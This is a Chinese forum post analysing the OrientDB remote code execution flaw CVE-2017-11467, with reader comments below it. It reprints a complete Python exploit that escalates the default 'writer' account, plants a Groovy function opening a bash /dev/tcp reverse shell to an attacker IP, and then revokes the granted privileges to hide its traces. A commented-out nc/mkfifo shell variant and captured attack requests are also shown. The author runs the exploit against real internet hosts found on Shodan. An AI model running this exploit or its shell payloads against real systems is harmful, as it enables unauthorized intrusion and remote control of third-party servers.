用户
搜索
  • TA的每日心情
    难过
    2018-2-2 00:17
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Fplyth0ner

    Rank: 7Rank: 7Rank: 7

    11

    主题

    66

    帖子

    175

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-4-11

    i春秋签约作者

    发表于 2018-1-25 15:13:10 64629
    本帖最后由 降龙 于 2018-1-25 07:28 编辑

    去年第一次接触这个CVE-2017-11467是在某某buf网站,但是很显然那篇文章是不知道从哪里东拼西凑过来的,分析的驴唇不对马嘴,很多很多的细节是没有被提及的,导致最后重新编写POC失败,无奈自己从头到尾地分析了已经放出的POC的利用流程......

    STEP1.

            首先我们要了解下这个OrientDB是个什么东东。顾名思义它是一个数据库,百度上这么说的:
            
    OrientDB数据库是一个支持分布式的NoSQL数据库,主要针对文档以及图形等进行检索。
            这个数据库默认配置了三个用户:admin、reader、writer
            我们从这三个用户的名称上可以基本的判断他们的权限关系。admin有全部的权限,reader有读取的权限,writer有写入权限。现在我们只能推断出这些,下面开始POC的分析吧。

    STEP2.

    2017612202117448675316570_600_0.jpg
    [Python] 纯文本查看 复制代码
    #! /usr/bin/env python
    #-*- coding: utf-8 -*-
    # OrientDB <= 2.22 RCE PoC
    
    import sys
    import requests
    import json
    import string
    import random
    
    target = sys.argv[1]
    
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
    except:
        port = 2480
    
    url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
    
    
    def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
        return ''.join(random.choice(chars) for _ in range(size))
    
    def enum_databases(target,port="2480"):
    
        base_url = "http://%s:%s/listDatabases"%(target,port)
        req = requests.get(base_url)
    
        if req.status_code == 200:
            #print "[+] Database Enumeration successful"
            database = req.json()['databases']
    
            return database
    
        return False
    
    def check_version(target,port="2480"):
        base_url = "http://%s:%s/listDatabases"%(target,port)
        req = requests.get(base_url)
    
        if req.status_code == 200:
    
            headers = req.headers['server']
            #print headers
            if "2.2" in headers or "3." in headers:
                return True
    
        return False
    
    def run_queries(permission,db,content=""):
    
        databases = enum_databases(target)
    
        url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
    
        priv_enable = ["create","read","update","execute","delete"]
        #query = "GRANT create ON database.class.ouser TO writer"
    
        for priv in priv_enable:
    
            if permission == "GRANT":
                query = "GRANT %s ON %s TO writer"%(priv,db)
            else:
                query = "REVOKE %s ON %s FROM writer"%(priv,db)
            req = requests.post(url,data=query,auth=('writer','writer'))
            if req.status_code == 200:
                pass
            else:
                if priv == "execute":
                    return True
                return False
    
        print "[+] %s"%(content)
        return True
    
    def priv_escalation(target,port="2480"):
    
        print "[+] Checking OrientDB Database version is greater than 2.2"
    
        if check_version(target,port):
    
            priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
            priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
            priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
    
            if priv1 and priv2 and priv3:
                return True
    
        return False
    
    def exploit(target,port="2480"):
    
        #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
    
        #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
    
        func_name = random_function_name()
    
        print func_name
    
        databases = enum_databases(target)
    
        reverse_ip = raw_input('Enter the ip to connect back: ')
    
        query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
        #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
        #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
        req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
    
        if req.status_code == 201:
    
            #print req.status_code
            #print req.json()
    
            func_id = req.json()['@rid'].strip("#")
            #print func_id
    
            print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
    
            req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
            #print req.status_code
            #print req.text
    
            if req.status_code == 200:
                print "[+] Open netcat at port 8081.."
            else:
                print "[+] Exploitation failed at last step, try running the script again."
                print req.status_code
                print req.text
    
            #print "[+] Deleting traces.."
    
            req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
            priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
            priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
            priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
    
            #print req.status_code
            #print req.text
    
    def main():
    
        target = sys.argv[1]
        #port = sys.argv[1] if sys.argv[1] else 2480
        try:
            port = sys.argv[2] if sys.argv[2] else 2480
            #print port
        except:
            port = 2480
        if priv_escalation(target,port):
            exploit(target,port)
        else:
            print "[+] Target not vulnerable"
    
    main()


    但是很显然啊我这么懒的人怎么会去看代码这种东西呢,代码这辈子是不可能看代码的这样子......
    直接打开Wireshark抓包查看数据流。
    不过问题又来了,怎么配置Wireshark过滤器呢,规则是什么?所以还是要翻上面去看一下POC的。
    [Python] 纯文本查看 复制代码
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
    except:
        port = 2480


    上面意思是 2480 端口是吧,,所以规则如下
    [AppleScript] 纯文本查看 复制代码
    http and tcp.port==2480


    然后我兴致冲冲的打开 Shodan For Combie,采集了一波2480端口
    QQ截图20180125134601.jpg

    然后使用 RouterScan 验证了该端口的WEB指纹
    QQ截图20180125134525.jpg

    全部都是OrientDB数据库,这样随便拿出来一个抓个包看看,我们运行下上面的POC
    [AppleScript] 纯文本查看 复制代码
    python 1.py [ip]

    QQ截图20180125135729.jpg
    一步成功,但是我们的目的不是为了复现,我们是要研究它是如何工作的,所以这里就这样挂着,我们回来看一下Wireshark上面抓到的数据
    QQ截图20180125140029.jpg
    由于篇幅问题我就不都贴上去了,经过统计共有19条上行数据包,其中15条为HTTP-POST数据,4条为HTTP-GET数据,数据包看上去是有规律可寻的,两个get中间夹带五个post数据包,但是为什么要这样做的,他们有什么异同?我还是拒绝看python代码,继续分析数据包。

    GET的数据:
    [AppleScript] 纯文本查看 复制代码
    GET /listDatabases HTTP/1.1

    POST的数据:
    [AppleScript] 纯文本查看 复制代码
    POST /command/123qwe/sql/-/20?format=rid,type,version,class,graph HTTP/1.1
    Content-Length: 46
    Authorization: Basic d3JpdGVyOndyaXRlcg==
    
    GRANT create ON database.class.ouser TO writer


    其中POST数据包的 123qwe 路径引起了我的注意.....看上去有迹可循,查找了下POC中的123qwe,结果令人失望,并不是我想象的固定字段。于是乎我很想看看POC的get是什么操作...跟过去看看,一条json跃然于显示屏上
    [AppleScript] 纯文本查看 复制代码
    {"@type":"d","@version":0,"databases":["123qwe","enrprophet","test","testdb"]}

    哦....我了解了,123qwe在这里,这个是数据库名字了,一共四条数据库记录,看来POST的数据是对数据库进行了操作,解密了上面的Base64,得到
    [AppleScript] 纯文本查看 复制代码
    writer:writer


    这是HTTP基础验证,这样就明白了是用 writer 弱口令操作了数据库,那么它在干什么呢?
    [AppleScript] 纯文本查看 复制代码
    GRANT create ON database.class.ouser TO writer
    GRANT read ON database.class.ouser TO writer
    GRANT update ON database.class.ouser TO writer
    GRANT execute ON database.class.ouser TO writer
    GRANT delete ON database.class.ouser TO writer
    
    GRANT create ON database.function TO writer
    GRANT read ON database.function TO writer
    GRANT update ON database.function TO writer
    GRANT execute ON database.function TO writer
    GRANT delete ON database.function TO writer
    
    GRANT create ON database.systemclusters TO writer
    GRANT read ON database.systemclusters TO writer
    GRANT update ON database.systemclusters TO writer
    GRANT execute ON database.systemclusters TO writer
    GRANT delete ON database.systemclusters TO writer


            15条post的操作都不一样,这些都是必要的提权操作,它们已经提升了writer的全部权限,看来提权工作已经结束。下面是命令执行部分。

    STEP3.


    我们随便输入个ip看看它接下来在做什么
    QQ截图20180125143237.jpg
    WHAT??这就执行完了?回来看下Wireshark
    QQ截图20180125143415.jpg
    相信聪明的读者们也看出了规律,从第七行的GET看上去和上面的操作又很相似了。继续分析。
    [AppleScript] 纯文本查看 复制代码
    POST /document/123qwe/-1:-1 HTTP/1.1
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.18.4
    Content-Length: 329
    Authorization: Basic d3JpdGVyOndyaXRlcg==
    
    {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"5qp12","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/123.123.123.123/8081 0>&1';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":null}


    这是又是什么操作..........从它提交的路径上有个Document目录,Document是文件的意思,而且下面提交的数据里也多次涉及File,尤其是 new File(\"hello.sh\")......估计大概八九不离十的确定以及肯定的来说,它在写入一个名为hello.sh的shell文件,文件内容是命令行反弹操作。里面有个 5pq12 字段目前暂且不知道什么作用。

    [AppleScript] 纯文本查看 复制代码
    POST /function/123qwe/5qp12 HTTP/1.1
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.18.4
    Content-Length: 0
    Authorization: Basic d3JpdGVyOndyaXRlcg==

    这条POST很奇怪,没有任何数据提交,只是路径不同,后面又跟了个5qp12,这是到底是啥玩意,看样子很重要......抠破键盘也没找到在哪里出现过......最后不得不承认我是瞎比
    QQ截图20180125144343.jpg
    然而找到了也没有看懂它在做什么。不管它了,继续往下看。

    [AppleScript] 纯文本查看 复制代码
    DELETE /document/123qwe/6:1 HTTP/1.1
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.18.4
    Content-Length: 0
    Authorization: Basic d3JpdGVyOndyaXRlcg==

    我曹??怎么啥也没干就又给删了呢??= =看来上两步的确是有端倪。先是写入文件,里面有这个 5pq12 ,然后post了一个带 5pq12 的地址,又删掉了.....会不会是写入文件以后又将这个文件定位到 5pq12 这个路径上,然后访问这个路径就会执行反弹操作?后来事实证明我的判断没有问题。

    看来命令操作已然结束。继续分析后19条

    STEP4.


    后十九条和最初的十九条看上去是一样的,不过做事情不能看事物表面,否则会造成臆断。就好比看到路边一个妹子的背影超级好看,就想上去打个招呼,殊不知是个背影杀手,那不就悲剧了么。
    2017612202116528848046060_600_0.jpg

    [AppleScript] 纯文本查看 复制代码
    REVOKE create ON database.class.ouser TO writer
    REVOKE read ON database.class.ouser TO writer
    REVOKE update ON database.class.ouser TO writer
    REVOKE execute ON database.class.ouser TO writer
    REVOKE delete ON database.class.ouser TO writer
    
    REVOKE create ON database.function TO writer
    REVOKE read ON database.function TO writer
    REVOKE update ON database.function TO writer
    REVOKE execute ON database.function TO writer
    REVOKE delete ON database.function TO writer
    
    REVOKE create ON database.systemclusters TO writer
    REVOKE read ON database.systemclusters TO writer
    REVOKE update ON database.systemclusters TO writer
    REVOKE execute ON database.systemclusters TO writer
    REVOKE delete ON database.systemclusters TO writer


    REVOKE是什么意思?百度翻译了一下是移除的意思。那么就是说后19条是最后收尾的降权操作喽!!!

    END.

            我兴致冲冲地打开 易语言 神速地写了个批量检测。
            PS:别瞧不起 易语言,好歹是国产的东西作为天朝人就不能给国产的东西打个CALL么,连企鹅内部大表哥都用E开发一些企鹅功能,还有什么可吐槽的....老外想学都学不会呢。
            
    至此,漏洞复现以及分析全部到位,
    啥叫实战?一眼python我都不想多看。Wireshark在手天下我有。
            你们懂得~

    批量不想放,翻啥翻,分析够 到位 了。


    友情提示:

    破坏计算机信息系统罪,是指违反国家规定,对计算机信息系统功能或计算机信息系统中存储、处理或者传输的数据和应用程序进行破 坏,或者故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的行为。本罪的主体为一般主体,即年满16周岁具有刑事责任能力的自然 人均可构成本罪。实际能构成其罪的,通常是那些精通计算机技术、知识的专业人员,如计算机程序设计人员、计算机操作、管理维修人员等。犯本罪的,处五年以 下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。


    2018年1月25日撰稿
    Author:Fplyth0ner
    飓风网络安全交流群:347304346
    攻防无绝对,技术无黑白
    发表于 2018-1-26 15:03:14
    Shodan For Combie这玩意好啊
    使用道具 举报 回复
    发表于 2018-1-29 15:21:30
    ( * ̄▽ ̄)((≧︶≦*)
    我一定会保护你的。
    使用道具 举报 回复
    Shodan For Combie  自己写的吗
    使用道具 举报 回复
    发表于 2018-2-4 00:22:39
    小木鱼 发表于 2018-2-2 03:05
    Shodan For Combie  自己写的吗

    怎么拉
    攻防无绝对,技术无黑白
    使用道具 举报 回复
    dazhige 发表于 2018-1-26 15:03
    Shodan For Combie这玩意好啊

    我也想要
    使用道具 举报 回复
    发表于 2018-3-5 16:37:30
    Shodan For Combie发下可以吗  
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册